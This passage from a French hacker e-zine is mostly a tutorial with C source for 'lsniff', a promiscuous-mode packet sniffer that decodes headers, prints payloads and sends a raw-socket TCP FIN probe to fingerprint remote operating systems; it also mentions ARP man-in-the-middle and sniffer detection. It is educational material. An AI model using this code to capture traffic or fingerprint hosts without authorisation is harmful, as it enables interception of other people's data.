| | -------------- | v [Depiler M vers X] | A' v On sauve la variable X dans la pile M et on attribue la valeur 1 à X. Après que toutes les possibilités (pour chaque valeur particulière de choix (f)) aient été essayées, la valeur immédiatement plus grande est essayée. Quand toutes les valeurs ont été essayées, la valeur initiale de X est remise et le retour continue. 1a) S+ { | A v [X<-f(x)] | B v S { | A v [X<-f(X)] ===================|> | v B S- { | B' [X<-f(X)] | A' v Ce n'est pas la peine d'empiler X si f a un inverse facilement calculable. exemple: x <- x+1 inverse x <- x-1 x <- vrai inverse x <- faux 8a) S+ { \A B/ \ / \ / \ / - | | C v S { \A B/ \ / \ / \ / - ==================|> | | C (Où P est toujours v vrai sur A et faux sur B.) S- { | C' ------- oui-| P! |-non | ------- | v A' v B' Très souvent, lorsque deux chemins se joignent, on peut savoir lequel a été pris en regardant les variables du programme. [ END ] This is the end. Vous avez désormais de quoi vous prendre la tête quelques soirées. Pour envoyer des dons, une petite pièce, un chèque ou les cordonnées bancaires d'un compte bien rempli en suisse, veuillez adressez vos offres à l'adresse suivante : disk-lexic@caramail.com --------------------------------------------------------------------------------------- IV. Sniffing avancé - lsniff.c Li0n7 --------------------------------------------------------------------------------------- [ Introduction ] Nous avons étudié dans l'issue précédente un sniffer de basse facture se contentant d'afficher les différents champs de l'header principale de la trame Ethernet ( les adresses MAC src et dest). Cette fois-ci, nous n'allons plus nous contenter de sniffer une couche, mais quatre couches! Comme préambule à l'OS fingerprinting, nous implémenterons une fonction de prise d'empreinte de la pile TCP/IP à distance. [ Sommaire ] I. Description II. Programmation III. Code source IV. Conclusion I. Description : ________________ Lors de la programmation du sniffer, nous manipulerons des paquets de manière très fine ; il est donc obligatoire de connaitre la structure d'un paquet dans son intégralité. Ici le snaplen est de 68 octets, mais il varie énormement selon les protocoles et les options des en-têtes. Cette structure est générique, elle commence par la couche liaison avec l'en-tête principale de la trame, ou en-tête encapsulateur, contenant les adresses MAC sources et destination. Ensuite l'header IP suit (proto mode non-connecté), sa taille peut varier, mais elle est au minimum de 20 octets sans les options. Puis l'header du protocole de communication utilisé (TCP, UDP, ICMP, protos semi-connectés). Là encore la taille en octet varie selon le protocole et les options définies (de 8 à 20 octets). Je vous renvoie étudier les en-têtes des différents protocoles présentés dans l'issue précédente. Le dernier en-tête contient les données transmises à travers le réseau, elles peuvent renfermer, en l'occurence des informations censés êtres protégés, qu'elles soient cryptés ou non. [ Structure d'un paquet ] 14 20 20 14 +---------+--------------+--------------+------>>------+ | | | | | | EN-TETE | EN-TETE | EN-TETE | DONNEES | | TRAME | IP | PROTOCOLE | PROTOCOLE | | | | | | +---------+--------------+--------------+------<<------+ <------------------------------------------------------> Trame Ethernet <--------------------------------------------> Datagramme IP <-----------------------------> Paquet TCP, ICMP, UDP [ Filtres ] lsniff capture tout type de traffic, mais il peut se contenter, selon la demande de l'utilisateur, de n'afficher qu'un type précis de paquet, en limitant l'affichage lourd des différents headers. Lors de chaque initialisation d'une session de capture lsniff, vous devez préciser le protocole à sniffer avec l'option -p. Attention, le protocole est identifié via son numéro propre (voir etc/protocols). Par exemple, pour sniffer des paquets tcp vous lancerez lsniff comme ceci ./lsniff -ieth0 -p6. Eth0 étant l'interface utilisée par la plupart des systèmes. Pour afficher tout type de paquet, il suffit de rentrer en paramètre -p0. Il est également possible de récupérer le numéro d'un protocole en utilisant son nom et vice-versa. Pour cela, ajouter l'argument -z suivit du nom ou du numéro. $ ./protos tcp 1 1: tcp ( TCP ) numéro: 6 1: icmp ( ICMP ) numéro: 1 [ Interfaces ] Il a été implémenté deux types d'interface avec lsniff : une interface simple (TCPdump-like), et une autre complexe et entièrement configurable, structurée autour de la gestion des différents header de la trame réseau. Pour utiliser l'interface simple par défaut, n'entrer aucun argument, sinon -e (pour afficher l'en-tête encapsulateur dans sa totalité), -t(pour en-tête IP complet), -p (affichage de tous les champs de l'entête de $proto) et enfin -d pour capturer les données du protocole. Si par hasard toutes ses options doivent êtres combinées, lancer lsniff avec l'argument -x. => interface simple ./lsniff -ieth0 -p0 -s 1.4.6 99.236.109.178:5000 > 125.2.2.5:80 S win 65535 674719801>674719801(0) => interface complexe ./lsniff -ieth0 -p0 -x ---------->>> Trame réseau numéro: 1 --[ETHERNET HEADER] Host Source Ethernet: 01:40:06:00:00:00 Host Distant Ethernet: d6:10:00:40:14:54 Type: 61884 --[IP HEADER] Adresse IP source: 99.236.109.178 Adresse IP destination: 125.2.2.5 IHL:5, VERSION:4, TOS:0, TOT_LEN:10240, ID:30384, TTL:255, PROTOCOL: 6 --[TCP HEADER] Port source: 5000 Port destination: 80 SEQ: 674719801, ACK_SEQ: 0, D_OFF: 1, RES1: 0, FIN:0, SYN: 1 RST: 0, PSH:0, ACK:0, URG:0, WINDOW: 65535, URG_PTR:0 Une petite description de l'interface simple s'impose : 1.4.6 99.236.109.178:5000 > 125.2.2.5:80 S win 65535 674719801>674719801(0) "1.4.6" : 1: trame réseau numéro 1, 4: version du protocole IP, 6: numéro d'identification du protocole (ici TCP) "99.236.109.178:5000 > 125.2.2.5:80" : host source(99.236.109.178) envoyant un paquet du port 5000 au port 80 de 125.2.2.5 "S win 65535" : S signifie que le flag SYN pointe sur 1, chaque flag est représenté par la première lettre de son nom. 674719801>674719801(0): numéro_de_séquence_entrant numéro_de_séquence_sortant (taille du champ données du protocole) [ Manipulation des protcoles ] Depuis la création du Réseau des réseaux, les protocoles font partie-intégrante de son fonctionnement. Ils régissent le réseau et évitent ainsi toute anarchie. Ils instorent un système de communication universel et obéissent à un modèle : le modèle OSI définie en 1984. Lors de la création d'un paquet, celui-ci se voit attribuer différentes couche ; ce procédès répond plus commnunément à l'appelation d'encapsulation (ou tunneling). Voici le modèle actuel : (7) Application => gère le transport des informations entre les programmes (6) Présentation => s'occupe de la mise en forme du texte et des conventions d'affichage (5) Session => s'occupe de l'établissement de la gestion des coordinations de communication (4) Transport => gère la remise correcte des informations (3) Réseau => détermine les routes de transport et du transfert de messages (2) Liaison de données => s'occupe du codage, de l'adressage, de la transmission des informations (1) Physique => gère les connections matérielles Ainsi, nous savons que chaque datagramme subit une encapsulation rigoureuse avant son envoi sur le réseau. A l'arrivée des données sur l'ordinateur distant, il y a décaspulation, soit le processus inverse, c'est ainsi que l'on peut dire que les couches dialogues virtuellement entres elles même s'ils elles n'ont de contacts qu'avec les couches inférieurs et supérieurs qui les entourent. Il est utile de noter que contrairement aux idées reçues, les protocoles les plus répandues TCP/IP et UDP/IP, pour les nommer, n'utilisent que 5 des 7 couches du modèle OSI, la communication est alors modifiée : *encapsulation* *processus inverse* --------------- --------------- | couche | | couche | | application | <------------------> | application | | | | | --------------- --------------- | couche | | couche | | transport | <------------------> | transport | | TCP | | TCP | --------------- --------------- | couche | | couche | | réseau IP | <------------------> | réseau IP | | | | | --------------- --------------- | couche | | couche | | liaison | <------------------> | liaison | | Ethernet | | Ethernet | --------------- --------------- || || ><----------------------------------------------------------------------------------------->< Couche physique (support matériel) Ci-dessous une liste non exhaustive de protocoles, consultables via etc/protocoles. # /etc/protocols: # $Id: protocols,v 1.1.1.1 1999/12/27 21:11:58 chmouel Exp $ # # Internet (IP) protocols # # from: @(#)protocols 5.1 (Berkeley) 4/17/89 # # Updated for NetBSD based on RFC 1340, Assigned Numbers (July 1992). ip 0 IP # internet protocol, pseudo protocol number icmp 1 ICMP # internet control message protocol igmp 2 IGMP # Internet Group Management ggp 3 GGP # gateway-gateway protocol ipencap 4 IP-ENCAP # IP encapsulated in IP (officially ``IP'') st 5 ST # ST datagram mode tcp 6 TCP # transmission control protocol egp 8 EGP # exterior gateway protocol pup 12 PUP # PARC universal packet protocol udp 17 UDP # user datagram protocol hmp 20 HMP # host monitoring protocol xns-idp 22 XNS-IDP # Xerox NS IDP rdp 27 RDP # "reliable datagram" protocol iso-tp4 29 ISO-TP4 # ISO Transport Protocol class 4 xtp 36 XTP # Xpress Tranfer Protocol ddp 37 DDP # Datagram Delivery Protocol idpr-cmtp 39 IDPR-CMTP # IDPR Control Message Transport ipv6 41 IPv6 # IPv6 ipv6-route 43 IPv6-Route # Routing Header for IPv6 ipv6-frag 44 IPv6-Frag # Fragment Header for IPv6 ipv6-crypt 50 IPv6-Crypt # Encryption Header for IPv6 ipv6-auth 51 IPv6-Auth # Authentication Header for IPv6 ipv6-icmp 58 IPv6-ICMP # ICMP for IPv6 ipv6-nonxt 59 IPv6-NoNxt # No Next Header for IPv6 ipv6-opts 60 IPv6-Opts # Destination Options for IPv6 rspf 73 RSPF #Radio Shortest Path First. vmtp 81 VMTP # Versatile Message Transport ospf 89 OSPFIGP # Open Shortest Path First IGP ipip 94 IPIP # Yet Another IP encapsulation encap 98 ENCAP # Yet Another IP encapsulation [ OS FINGERPRINTING ] - [ TCP FIN PROBE] J'ai implémenté une petite fonction de prise d'empreinte de la pile à distance. Bien sûr, ce test est basique, l'OS ne peut pas être déterminé de façon précise, mais le but était d'imposer un préambule à cette notion. La technique utilisée fut très en vogue, mais se démode, pour être efficace il aurait fallut la coupler à un TCP SYN SAMBLING et un hypothétique ICMP MSG ERROR QUENCHING. Ici, nous allons nous contenter de faire un SYN PROBE. Le principe est simple : certains OS, conformement à la RFC 793, sont censés ne PAS répondre à un paquet envoyé contenant un flag FIN, mais certaines implémentations des stacks tcp/ip d'OS comme MS Windows, BSDI, CISCO, HP/UX, MVS et IRIX ont été grandement modifiées et répondent par un flag RST, ce qui implique un défaut de sécurité. Pour éxécuter une prise d'empreinte de la pile TCP/IP d'un host distant, il suffit d'utiliser l'option -o . [ Introduction à la détection du sniffing ] Bien que la sécurité d'un réseau contre le sniffing ne soit pas le but de cette article, il ne va pas sans dire que ce sujet est extrémement intéréssant, les techniques étant nombreuses. La majorité des administrateurs de réseaux volumineux (plusieurs centaines de machines) n'hésitent pas à les commuter, bien qu'en général les raisons soient plus souvents techniques et dans une optique de gain de performance. Un réseau étant commuté, les paquets envoyés par les machines atteignent directement la distination désirée, mais ce n'est pas pour autant que le pirate ne pourra pas renifler ce réseau. Une parade connue est l'hijacking ARP (avec les attaques de type Man In the Middle) qui fera surement l'objet d'un article prochainement ; ceci consiste à altérer les tables de correspondances IP/MAC ADDRESSES de manière à se glisser litté- -ralement entre deux hôtes réseaux communiquants, ainsi le sniffing est possible. La détection d'un pirate sniffant est aussi très ludique, nous distinguons trois techniques majeures : ¤ La première consiste à générer une fausse connection réseau sur un LAN puis surveiller les requêtes DNS qui tentent de résoudre l'adresse falsifiée. ¤ La seconde réside dans un bug de pilote Ethernet Linux. En effet, une machine tournant en mode promiscuous n'arrive pas à vérifier l'adresse Ethernet des paquets qu'elle reçoit, cette validation est effectuée au niveau IP et doit être normalement abandonnée si cette adresse ne correspond pas à celle de l'hôte, au niveau matériel. Ainsi, si un paquet est reçu avec une adresse Ethernet falsifiée mais une IP correspondant à celle de l'hôte qui le reçoit, alors une réponse sera émise. Il suffit donc d'envoyer un quelconque paquet construit avec une adresse Ethernet altérée à tous les hôtes d'un réseau pour identifier les sniffers qui répondent. ¤ Enfin une technique très peu utilisée permettant de dénicher un hôte surveillant le réseau, est le calcul de la latence de ce dernier, c'est à dire le nombres de commandes pings qu'il émet. Plus ce nombre est éle- -vé, plus il répondra lentement aux pings envoyés. Cette méthode est donc simple : évaluer dans un premier temps la latence d'un hôte en lui envoyant un ping puis en calcuant le temps de réponse, puis, générer ensuite un traffic réseau extrémement important et, dans un dernier temps envoyer une seconde requête ping en mesurant le temps de réponse. Si les deux temps diffèrent (de manière importante) alors l'hôte surveillait le réseau. Notez que les variations de latence d'un hôte peut dépendre de nombreux facteurs. II. Programmation : ___________________ Autant le dire tout de suite, lsniff n'a pas un code facile à étudier, pour la bonne et simple raison que le publier n'était à l'origine pas mon but. Nous allons étuider successivement chacune de ses fonctions, de l'ouverture de l'interface au point d'entrée, en passant par le stack fingerprint. Aussi, je vous demanderais d'être très attentifs aux nombreuses variables int (faisant office de bools ici) que j'ai utilisées pour manipuler les différentes interfaces. [ Structures ] Les structures utilisées sont nombreuses et volumineuses. Chaque protocole IP, TCP, UDP, ICMP dispose d'une structure qui lui est propre, destinée à faciliter l'inter- -activité avec les différents champs de chaque header. L'header ethernet présente aussi une structure générique : struct pseudohdr { // pseudo header utilisé pour le calcul du checksum unsigned long saddr; unsigned long daddr; char useless; unsigned char protocol; unsigned short length; } pseudo; struct ether_header *hdr; struct iphdr *ip; struct tcphdr *tcp; struct icmphdr *icmp; struct udphdr *udp; struct sockaddr_in rhost; // hôte distant pour le stack fingerp struct hostent *source; // pointeur sur adresse source struct hostent *cible; // pointeur sur adresse destination struct recvpaquet // manipulation des différents headers d'un paquet { struct ethhdr eth; // header ethernet (adresses MAC) struct iphdr ip; // header IP struct tcphdr tcp; // header TCP struct icmphdr icmp; // header ICMP struct udphdr udp; // header UDP char data[8000]; // header données du protocole du champ précédent } buffer; int size; // snaplen 1. Overture interface & fingerprint : _____________________________________ [ Ouvre_interface ] Je ne vais pas m'étendre, cette fonction permet d'ouvrir l'interface réseau propre au système utilisé (eth0 par exemple). Cette fonction prend pour argument le nom de l'interface, passé en paramètre, entrée par l'utilisateur. Puis on met la carte réseau en mode promiscuous. ------8<--------------------------------------------------------------------- int ouvre_interface(char *name) { struct sockaddr addr; /* déclaration de notre structure générique d'adressage */ struct ifreq ifr; /* structure de manipulation des trames */ int sockfd; /* déclaration de notre socket */ sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)); /* définition de notre socket*/ if(sockfd<0) return -1; memset(&addr, 0, sizeof(addr)); /* on remplit de 0 le ptr addr */ addr.sa_family=AF_INET; strncpy(addr.sa_data, name, sizeof(addr.sa_data)); /* on bind via notre socket sockfd, et ainsi on "écoute" */ /* les trames réseaux circulant */ if(bind(sockfd, &addr, sizeof(addr)) !=0 ){ close(sockfd); return -1; } memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); /* le point d'entrée ioctl permet l'éxécutions d'opérations particulières */ /* sur des périphériques autres que lectures/ écriture, ici nous accèdons */ /* aux fonctions de notre socket */ if(ioctl(sockfd, SIOCGIFHWADDR, &ifr)<0){ close(sockfd); return -1; } /* si l'interface n'est pas ethernet alors on quitte */ if(ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER){ close(sockfd); return -1; } /* accès aux options des sockets */ memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) <0) { close(sockfd); return -1; } ifr.ifr_flags |= IFF_PROMISC; if(ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) { close(sockfd); return -1; } return sockfd; // retourne la socket } ------8<--------------------------------------------------------------------- [ os_fingerprint ] Cette fonction va éxécuter une prise d'empreinte de tcp/ip stack en remote. Pour cela, elle va forger un paquet tcp avec un quelconque bit de contrôle (différent du SYN/ACK) initialisé à 1, puis va attendre une hypothétique réponse d'un OS contenant un flag RST. ------8<--------------------------------------------------------------------- int os_fingerp(unsigned long ssource, unsigned long scible) { char *paquet, *fip, *packet, *buffer; int sock; // Allocation dynamique de mémoire pour le paquet et le buffer packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr)); buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr)); ip = (struct iphdr *) packet; tcp = (struct tcphdr *) (packet + sizeof(struct iphdr)); // remplissage des champs de l'header IP ip->ihl = 5; // nombre de DWORDS constituant le datagramme IP ip->version = 4; // Version 4 ip->tos = 0; // Type Of Service ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); ip->id = (random()); // ID aléatoire ip->ttl = 255; // Time To Live ip->protocol = IPPROTO_TCP; // Protocole de communication ip->saddr = ssource; // Adresse source (la vraie ;-)) ip->daddr = scible; // Adresse destination // remplissage des champs du pseudo header destiné à calculer la somme de contrôle pseudo.saddr = ip->saddr; pseudo.daddr = ip->daddr; pseudo.useless = htons(0); pseudo.protocol = IPPROTO_TCP; pseudo.length = sizeof(struct tcphdr); // remplissage des champs de l'header TCP tcp->source = htons(5000); // port source tcp->dest = htons(80); // port destination tcp->seq = htonl(SEQ); // 0x28376839 tcp->ack_seq = htonl(0); tcp->doff=sizeof(tcp)/4; tcp->res1 = 0; tcp->fin = 1; // bit de contrôle fin activé tcp->syn = 0; tcp->rst = 0; tcp->psh = 0; tcp->ack = 0; tcp->urg = 0; tcp->window = htons(65535); // taille assez volumineuse tcp->urg_ptr = htons(0); // calcul des sommes de contrôle tcp->check = in_cksum((unsigned short *)&pseudo,sizeof(struct tcphdr) + sizeof(struct pseudohdr)) ; ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); // initialisation de notre socket if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){ // en cas d'erreur on quitte perror("Erreur lors de la creation du socket"); return -1; } else { // sinon on définie l'hôte distant rhost.sin_family = AF_INET; // domaine rhost.sin_port = tcp->dest; // port distant rhost.sin_addr.s_addr = ip->daddr; // adresse distante // on envoie le paquet if((sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&rhost, sizeof(struct sockaddr)))<0){ // en cas d'erreur on quitte perror("Erreur lors de l'envoie du paquet FIN"); }else{ // sinon on lance une boucle de lecture des paquets passant sur le réseau printf("Paquet FIN envoye sur port: %d!\n", ntohs(tcp->dest)); size = read(sock, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); read_loop(sock, 0, 0, 0, 0, 0, 1); } } // on ferme la socket close(sock); // statistiques printf("\n>-=+=+=+=+=+=- Statistiques -=+=+=+=+=+=-<\n\n"); return 0; } ------8<--------------------------------------------------------------------- 2. Lecture des paquets : ________________________ [ read_loop ] Voici l'artère principale du sniffer. Elle s'articule autour d'une boucle, qui à chaque paquet reçu sur la carte Ethernet passée en mode promiscuous, affiche selon les désirs de l'utilisateur et les paramêtres, l'interface et les différents champs du paquet capté. Notez que pour proposer une programmation plus structurée donc plus facile d'accès et de manipulation, une structure, recvpaquet, est utilisée pour l'affichage des paquets ; en effet elle contient tous les headers du paquet reçu. ------8<--------------------------------------------------------------------- int read_loop(int sockfd, int protos, int x, int sinter, int sip, int sdat, int os) { struct hostent *hote; // pointeur sur l'adresse distante char buf[1792], *donnees, *proto, *flag[5], *itype, *ios; int fromlen, c, i=0, j, datal, stype; struct protoent * protocole; unsigned char *s, *d, *ftype; // Allocation dynamique de mémoire ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2); // header IP tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2); // header TCP icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2); // header ICMP udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2); // header UDP proto = (char *)malloc(1024); // allocation de mémoire pour le ptr proto for (j=0; j <= 5; j++){ flag[j] = (char *)malloc(1024); // allocation de mémoire pour les pointeurs sur les flags (utilisé pour différencié les flags contenus dans l'header tcp lors de l'affichage en mode simple) } itype = (char *)malloc(1024); // allocation de mémoire pour icmp champs type ios = (char *) malloc(1024); // allocation de mémoire pour le char *ios qui stockera l'adresse de tcp->rst (pour l'os fingerp) s = (unsigned char *)&(ip->saddr); // adresse source d = (unsigned char *)&(ip->daddr); // adresse destination while(1){ i++; size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); // on lit les paquets passant sur notre carte réseau if(size<0) return -1; if (size < sizeof(struct ether_header)) continue; if (os == 0){ // Si l'utilisateur ne désire pas éxécuter de prise d'empreinte de stack // alors on stocke les adresses des différents champs tcp/ip pour leur affichage ultérieure sprintf(proto, "%d", ip->protocol); // protocole au dessus de l'en-tête IP sprintf(flag[0], "%d", tcp->fin); // bit de contrôle: fin sprintf(flag[1], "%d", tcp->syn); // bit de contrôle: syn sprintf(flag[2], "%d", tcp->rst); // bit de contrôle: rst sprintf(flag[3], "%d", tcp->psh); // bit de contrôle: psh sprintf(flag[4], "%d", tcp->ack); // bit de contrôle: ack sprintf(flag[5], "%d", tcp->urg); // bit de contrôle: urg if(sinter==1){ // si l'interface complexe a été choisie printf("---------->>> Trame réseau numéro: %i\n", i); hdr=(struct ether_header *)buf; if(x==1){ // si l'utilisateur a demandé l'affichage de l'header Ethernet printf("--[ETHERNET HEADER]\n"); printf("Host source ethernet: "); // on affiche l'adresse MAC source for(c=0; c < ETH_ALEN; c++) printf("%s%02x",c==0 ? "" : ":", hdr->ether_shost[c]); printf("\nHost distant ethernet: "); for(c=0; c < ETH_ALEN; c++) // on affiche l'adresse MAC destination printf("%s%02x",c==0 ? "" : ":", hdr->ether_dhost[c]); // on affiche le type printf("\nType: %i\n",hdr->ether_type); } if (sip==1){ // si l'utilisateur a demandé l'affichage de l'header IP printf("--[IP HEADER]\nAdresse IP source: %u.%u.%u.%u\nAdresse IP destination: %u.%u.%u.%u\n", s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3]); // affichage de l'ip Source et destination printf("IHL: %d, VERSION: %d, TOS: %d, TOT_LEN: %d, ID: %d, TTL: %d, PROTOCOLE: %d\n", ip->ihl, ip->version, ip->tos, ip->tot_len, ip->id, ip->ttl, ip->protocol); // affichage des différents champs composant l'header IP } // si l'utilisateur a demandé la capture de paquets TCP ou de tout type de paquet if(((atoi(proto))==6)&&(protos==6 || protos==0)){ printf("--[TCP HEADER]\nPort source: %d\nPort destination: %d\n", ntohs(tcp->source), ntohs(tcp->dest)); printf("SEQ: %d, ACK_SEQ: %d, D_OFF: %d, RES1: %d, FIN: %d, SYN: %d, RST: %d\n", ntohl(tcp->seq), ntohl(tcp->ack_seq), tcp->doff, tcp->res1, tcp->fin, tcp->syn, tcp->rst); printf("PSH: %d, ACK: %d, URG: %d, WINDOW: %d, URG_PTR: %d\n", tcp->psh, tcp->ack, tcp->urg, ntohs(tcp->window), ntohs(tcp->urg_ptr)); // longueur du champ en-tête données protocole datal = size - 2 - (sizeof(struct tcphdr) + sizeof(struct iphdr) + sizeof (struct ether_header)); donnees = (char *)(((unsigned long)buffer.data)-2); // header data if(sdat==1){ // on affiche les données si cela a été rentré en argument printf("--[DONNES]\n"); for(j=0; j <= datal; j++) printf("%c", donnees[j]); } // si l'utilisateur a demandé la capture de paquets ICMP ou de tout type de paquet } else if (((atoi(proto)) ==1)&&(protos==1 || protos==0)) { printf("--[ICMP HEADER]\nType: %d\nCode: %d\n", icmp->type, icmp->code); printf("echo.id: %d\nEcho.seq: %d\nChecksum: %d\n", icmp->un.echo.id, icmp->un.echo.sequence, icmp->checksum); // si l'utilisateur a demandé la capture de paquets UDP ou de tout type de paquet } else if (((atoi(proto)) ==17)&&(protos==17 || protos==0)){ printf("--[UDP HEADER]\nPort source: %d\nPort destination: %d\n", ntohs(udp->source), ntohs(udp->dest)); printf("Len: %d\nChecksum: %d\n", ntohs(udp->len), udp->check); donnees = (char *)(((unsigned long)buffer.data)-2); // header data // longueur du champ en-tête données protocole datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header)); if(sdat==1){ // on affiche les données si cela a été rentré en argument printf("--[DONNEES]\n"); for(j=0; j <= datal; j++) printf("%c", donnees[j]); } } } else { // affichage interface simple, il y a plus de boulot au niveau de la gestion des champs // si l'utilisateur a demandé la capture de paquets TCP ou de tout type de paquet if(((atoi(proto))==6)&&(protos==6 || protos==0)){ datal = size - 2 - (sizeof(struct tcphdr) + sizeof(struct iphdr) + sizeof (struct ether_header)); if(datal < 0) datal = 0; // affichage interface simple printf("%i.%d.6(tcp) %u.%u.%u.%u:%d > %u.%u.%u.%u:%d", i, ip->version, s[0],s[1],s[2],s[3], ntohs(tcp->source), d[0],d[1],d[2],d[3], ntohs(tcp->dest)); if((atoi(flag[0]))==1) printf(" F"); // si flag FIN=1 alors on affiche "F" if((atoi(flag[1]))==1) printf(" S"); // si flag SYN=1 alors on affiche "S" if((atoi(flag[2]))==1) printf(" R"); // si flag RST=1 alors on affiche "R" if((atoi(flag[3]))==1) printf(" P"); // si flag PSH=1 alors on affiche "P" if((atoi(flag[4]))==1) printf(" A"); // si flag ACK=1 alors on affiche "A" if((atoi(flag[5]))==1) printf(" U"); // si flag URG=1 alors on affiche "U" printf(" win %d %d>%d(%i)", ntohs(tcp->window), ntohl(tcp->seq), ntohl(tcp->seq)+datal, datal); // si l'utilisateur a demandé la capture de paquets ICMP ou de tout type de paquet } else if (((atoi(proto)) ==1)&&(protos==1 || protos==0)) { stype = icmp->type; // on stock icmp->type dans l'int stype ftype = icmp_type(stype); // puis on identifie le champ type de l'header ICMP // affichage interface simple printf("%i.%d.1(icmp) %u.%u.%u.%u > %u.%u.%u.%u icmp(%d): %s", i, ip->version, s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3], stype, ftype); // si l'utilisateur a demandé la capture de paquets UDP ou de tout type de paquet } else if (((atoi(proto)) ==17)&&(protos==17 || protos==0)) { datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header)); if (datal<0) datal = 0; // affichage interface simple printf("%i.%d.17(udp) %u.%u.%u.%u:%d > %u.%u.%u.%u:%d udp(%i) %d:%d", i, ip->version, s[0],s[1],s[2],s[3], ntohs(udp->source), d[0],d[1],d[2],d[3], ntohs(udp->dest), datal, ntohs(udp->len), udp-> check); // Si le protocole est différent d'ICMP, TCP ou UDP, alors on effectue un affichage limité } else if ((atoi(proto))==protos || protos==0) { // affichage du numéro de la trame, de la version d'IP, du numéro du protocole, de son nom, de l'adresse source et de l'adresse destination. printf("%i.%d.%i(%s) %u.%u.%u.%u > %u.%u.%u.%u", i, ip->version, ip->protocol, getprotobynumber(ip->protocol), s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3]); } } printf("\n"); } else { // Sinon en cas d'OS Fingerprinting on affiche adresse source, adresse destination, le flag syn, fin, rst et ack printf("%u.%u.%u.%u > %u.%u.%u.%u > %d %d %d", s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3], tcp->syn, tcp->fin, tcp->rst, tcp->ack); sprintf(ios, "%d", tcp->rst); // notre ptr ios pointe sur l'adresse tcp->rst if((atoi(ios))==1){ // si le flag RST était sur 1 alors on affiche les statistiques printf("Système distant probable: WINDOWS, BSDI, CISCO, HP/UX, MVS, IRIX\n"); } } } // Nombre de paquets sniffés printf("Nombre de paquets sniffés: %d\n", i); } ------8<--------------------------------------------------------------------- [ icmp_type ] Cette fonction va nous servir à identifier le champ type de l'header icmp en donnant une courte description. (pour un tableau exhaustif des différents types icmp, référez-vous à mon article sur le smurfing icmp). Cette fonction prend un argument de type int (icmp->type) et renvoit un pointeur sur la description donnée. ------8<--------------------------------------------------------------------- char *icmp_type(int type){ char *rtype; switch (type){ // on switch le type // puis selon la valeur de l'int type, on affiche la description correspondante case 0: rtype = "echo reply"; break; case 3: rtype = "unreachable host"; break; case 4: rtype = "Source quench"; break; case 5: rtype = "Redirection"; break; case 6: rtype = "Alternative host adress"; break; case 8: rtype = "Echo request"; break; case 9: rtype = "Router advertissement"; break; case 10: rtype = "Router solicitation"; break; case 11: rtype = "Time exceded"; break; case 12: rtype = "Parameter problem"; break; case 13: rtype = "Timestamp request"; break; case 14: rtype = "TImestamp reply"; break; case 15: rtype = "Information request"; break; case 16: rtype = "Information reply"; break; case 17: rtype = "Adress mask request"; break; case 18: rtype = "Adress mask reply"; break; case 30: rtype = "Traceroute"; break; case 31: rtype = "Conversion error"; break; case 32: rtype = "Dynamic redirection"; break; case 35: rtype = "Mobile registration request"; break; case 36: rtype = "Mobile registration reply"; break; case 39: rtype = "SADP"; break; case 40: rtype = "Photuris"; break; } return rtype; // on renvoit un pointeur sur le type } ------8<--------------------------------------------------------------------- [ getaddr ] Cette fonction ne prend qu'un seul argument de type char représentant le nom de la machine, et permet de vérifier la présence de cet hôte sur le réseaux. Elle retourne l'adresse réseau de ce dernier au format u_long. ------8<--------------------------------------------------------------------- unsigned long getaddr(char *sname){ struct hostent * hip; // notre structure hostent (voir issue précédente) hip = gethostbyname(sname); // présence de l'hôte if (!hip){ perror("Adresse invalide"); // en c exit(1); } return *(unsigned long *)hip -> h_addr; // pointeur sur l'adresse au format // réseau de la structure hostent } ------8<--------------------------------------------------------------------- 3. Point d'entrée : ___________________ Pour finir, la fonction principale qui récupère l'interface réseau passée en argument, l'interface à utiliser, le(s) protocole(s) à sniffer, la quelconque cible à la prise d'empreinte de pile, le protocole à identifier ou encore les headers à afficher ! J'ai également ajouté la possiblité d'afficher les aliases/nom/numéro de chaque protocole pour permettre une interactivité plus facile avec les différentes options du sniffer. Il faut savoir qu'à chaque protocole correspond un numéro comme vous auriez pu le voir plus haut. Ils sont employés pour la communication sur le réseau. La bibliothèque C met à notre disposition deux fonctions potentielles permettant de récupérer le protocole. Tout d'abord la fonction getprotobyname() définissant ledit protocole par le biais d'une chaine string représentant son nom et enfin gethostbynumber() indiquant cette fois-ci le protocole en lui faisant correspondre un integer (voir le tableau ci-dessus). Ces fonctions sont déclarés dans l'header : struct protoent * getprotobyname(cont chat * nom); struct protoent * getprotobynumber(int numero); Il faut savoir que la structure protoent contient les membres suivants : p_proto: type int, numéro officiel du protocole (fourni dans l'odre des octets de la machine). p_name: type char *, nom officiel du protocole. p_aliases: type char **, table de chaines de caractères correspondant à d'éventuels alias, terminée par un pointeur NULL. L'ensemble des protocoles supportés par le système courant est affiché via l'appel des fonctions setprotoent(), getprotoent(), endprotoent(). La première ouvre le fichier, le seconde lis l'enregistrement et la dernière ferme le fichier. Ne pas oublier de définir l'argument seprotoent() nul, dans le cas contraire le fichier ne sera pas refermé par endprotoent() : void setprotoent(int ouvert); sruct protoent * getprotoent(void); void endprotoent(void); Après avoir déclaré l'header netdb et notre point d'entrée, nous définirons une fonction permettant l'affichage de tous les protocoles présents sur la machine. Tout ceci via 